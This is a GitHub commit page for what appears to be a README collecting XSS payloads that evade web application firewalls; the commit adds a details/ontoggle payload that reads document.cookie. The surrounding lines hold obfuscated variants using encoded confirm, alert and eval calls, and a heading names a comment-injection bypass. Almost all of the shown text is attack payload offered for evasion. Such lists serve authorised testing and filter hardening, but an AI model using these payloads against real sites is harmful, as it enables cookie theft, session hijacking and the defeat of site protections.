xss waf bypass

rbih-boulanouar · Jun 6, 2024 · 49dd609 · 49dd609
1 parent 1426a3c
commit 49dd609
Showing 1 changed file with 1 addition and 0 deletions.
diff --git a/README.md b/README.md
@@ -83,6 +83,7 @@ reportError(name , enerror=eval)
 ```
 <details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%2300000000000000000041//
 <details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=&#x0000000000061;lert&#x000000028;origin&#x000029;>
+<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);">
 ```
 5-Bypass XSS WAF protection using a comment between a JS function name and parameters
 ```